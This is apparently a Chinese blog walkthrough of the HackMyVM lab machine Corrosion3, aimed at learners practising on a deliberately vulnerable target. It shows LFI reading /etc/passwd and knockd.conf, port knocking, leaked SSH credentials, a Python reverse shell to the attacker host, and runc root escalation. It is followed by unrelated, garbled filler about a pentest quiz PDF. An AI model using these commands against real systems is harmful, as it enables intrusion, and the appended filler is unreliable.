渗透测试练习No.45 HackMyVm之Worrosion3

image-20220222190922934

靶机信息

下载地址:

https://hackmyvm.eu/machines/machine.php?vm=Corrosion3

靶场: HackMyVm.eu

靶机名称: Worrosion3

难度: 简单

发布时间: 2022年2月18日

提示信息:

目标: 2个flag

实验环境

攻击机:VMware	kali	192.168.7.3

靶机:Vbox		linux	IP自动获取

信息收集

扫描主机

扫描局域网内的靶机IP地址

sudo nmap -sP 192.168.7.1/24

image-20220228214603630

扫描到主机地址为192.168.7.211

扫描端口

扫描靶机开放的服务端口

sudo nmap -sC -sV -p- 192.168.7.211 -oN corrosion3.nmap

image-20220228215124478

扫描到22和80两个端口,其中22端口被过滤了,先看看80端口

http://192.168.7.211

image-20220228221751328

打开后是apache2的默认页面,先做个目录扫描

gobuster dir -w ../../Dict/SecLists-2021.4/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.7.211 -x php,html,txt,zip

image-20220228222758388

扫描到website目录,访问看看

http://192.168.7.211/website

image-20220228222959197

image-20220228223021252

打开后是一个html5网站,源码中发现是TEMPLATE STOCK程序。exploitdb未发现漏洞,再次对website做个目录扫描

gobuster dir -w ../../Dict/SecLists-2021.4/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.7.211/website -x php,html,txt,zip

发现有logs目录,访问看看

http://192.168.7.211/website/logs

image-20220228223823963

发现2个登录日志,下载下来看看内容

wget http://192.168.7.211/website/logs/login_request.log
wget http://192.168.7.211/website/logs/login_request1.log

image-20220228224634398

下载好打开看看

cat login_request1.log

image-20220228224752955

cat login_request.log

image-20220228224835397

从2个日志中获取到两组账号密码,用post提交登录试试

test:test
randy:RaNDY$SuPer!Secr3etPa$$word

image-20220228225248779

找不到页面,目录扫描中还发现sales_detail.php页面,去访问看看

http://192.168.7.211/website/sales_detail.php

image-20220228232735096

打开后是空白页面,猜测这里需要模糊测试,

wfuzz -c -w ../../Dict/myfuzz/dirtop20000.txt -u http://192.168.7.211/website/sales_detail.php?FUZZ=/etc/passwd |grep -v '0 Ch'

image-20220228232927844

经过各种字典配合参数终于暴出shared这个参数(文件包含漏洞),先来看下passwd文件内容

view-source:http://192.168.7.211/website/sales_detail.php?shared=/etc/passwd

image-20220228233343295

发现randy和bob两个用户,之前看到22端口是有防火墙过滤的,猜测需要端口敲门(Port knocking)技术。来看看能不能读取配置文件

view-source:http://192.168.7.211/website/sales_detail.php?shared=/etc/knockd.conf

image-20220228233928908

敲门端口顺序是1110、2220、333,来验证下

knock 192.168.7.211 1110 2220 3330 -v

image-20220228234108286

检查下端口是否开放

sudo nmap -p 22 192.168.7.211

image-20220228234145444

端口打开了,现SSH连接上去,用之前拿到的两组用户,其中一个与passwd内的用户名相同,验证一下密码是否正确

ssh randy@192.168.7.211
输入密码RaNDY$SuPer!Secr3etPa$$word

image-20220228234441384

SSH登录成功,找一下敏感信息吧

cd /home/bob/
ls
cat user.txt

image-20220228234854852

拿到user.txt,再找找提权信息,没找到上传个辅助提权脚本检查下

1。kali攻击机脚本目录下开启HTTP服务

python3 -m http.server

image-20220228235639435

2。靶机下载辅助提权脚本

cd /tmp
wget http://192.168.7.3:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

image-20220228235821645

image-20220301002158509

发现一个bob用户的python脚本,去看看

cd /opt
ls -al
cat simpleurlencode.py

image-20220301002408228

脚本很简单,输入、url编码、输出,再上传个pspy64看他会不会自动运行

wget http://192.168.7.3:8000/pspy64
chmod+x pspy64
./pspy64

image-20220301004358349

image-20220301004659658

发现每2分钟以bob(UID=1001)用户执行一次,那我们修改一下这个脚本,让他反弹bob权限的shell

1。kali攻击机监听4444端口

nc -lvvp 4444

image-20220301005103456

2。修改simpleurlencode.py脚本

#!/usr/bin/python3 

import urllib.parse


import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.7.3",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);


string = input("Url Encode String: ")
input = urllib.parse.quote(string)
print("Encoded String: " + input)

image-20220301005255965

修改好后等待2分钟内反弹shell到攻击机上

image-20220301005352265

反弹成功,先切换交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrul+z
stty raw -echo;fg
reset

image-20220301005541182

切换完成,找一下提权信息

sudo -l

image-20220301005619717

可以用root权限执行runc程序 ,可以利用runc运行镜像挂载宿主机的根目录

RunC提权

简单介绍:

RunC 是一个轻量级的工具,它是用来运行容器的,只用来做这一件事,并且这一件事要做好。
我们可以认为它就是个命令行小工具,可以不用通过 docker 引擎,直接运行容器。
事实上,runC 是标准化的产物,它根据 OCI 标准来创建和运行容器。
而 OCI(Open Container Initiative)组织,旨在围绕容器格式和运行时制定一个开放的工业化标准

1。创建容器根文件系统

mkdir bundle

2。创建root目录

cd bundle
mkdir rootfs

3。利用runc的spec命令创建默认的配置文件config.json

runc spec

4。修改config.json,在mount下面加入挂载目录

vi config.json
{
	"type": "bind",
	"source": "/",
	"destination": "/",
	"options": [ "rbind", "rw", "rprivate" ]
},

image-20220301200631070

image-20220301201310374

准备完毕后就可以提权了

sudo runc run bundle

image-20220301200907719

找一下flag

cd /root
ls
cat root.txt

image-20220301201014638

拿到root.txt,游戏结束

这篇文章到这里就结束了,喜欢打靶的小伙伴可以关注"伏波路上学安全"微信公众号,或扫描下面二维码关注,我会持续更新打靶文章,让我们一起在打靶中学习进步吧.在这里插入图片描述

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
渗透测试技术选择题.pdf》是一份渗透测试技术选择题目集,该题目集主要涵盖了渗透测试的相关知识点和技术选择方向。以下是我对该题目集的回答: 《渗透测试技术选择题.pdf》包含了一系列关于渗透测试技术的选择题目,这些题目涵盖了渗透测试的各个方面,包括渗透测试目标、渗透测试方法、渗透测试工具等。通过解答这些问题,可以帮助测试人员加深对渗透测试的理解,并选择合适的技术来进行测试。 在回答这些选择题目时,需要根据自己对渗透测试的了解和实践经验,结合每个题目的具体情况来进行判断和选择。例如,在选择渗透测试目标时,可以根据目标系统的类型、安全等级和安全需求来进行判断,选择适合的目标进行测试。在选择渗透测试方法时,可以根据具体情况考虑使用黑盒测试、白盒测试还是灰盒测试等方法。在选择渗透测试工具时,可以根据不同的测试需求选择适合的工具,如Nmap、Metasploit、Burp Suite等。 此外,在回答这些选择题目时,还需要考虑渗透测试的实际情况和操作原则。例如,在选择渗透测试目标时,需要遵循测试合法性原则,确保测试行为在法律、道德和合规要求范围内。在选择渗透测试方法和工具时,需要根据测试需求和目标系统的特征,选择合适的技术和工具,并结合实际操作进行测试。 总之,通过解答《渗透测试技术选择题.pdf》中的选择题目,可以加深对渗透测试的理解,并帮助测试人员在实际测试中选择合适的技术和方法。这些题目对于提升测试人员的渗透测试能力和技术水平具有积极的促进作用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值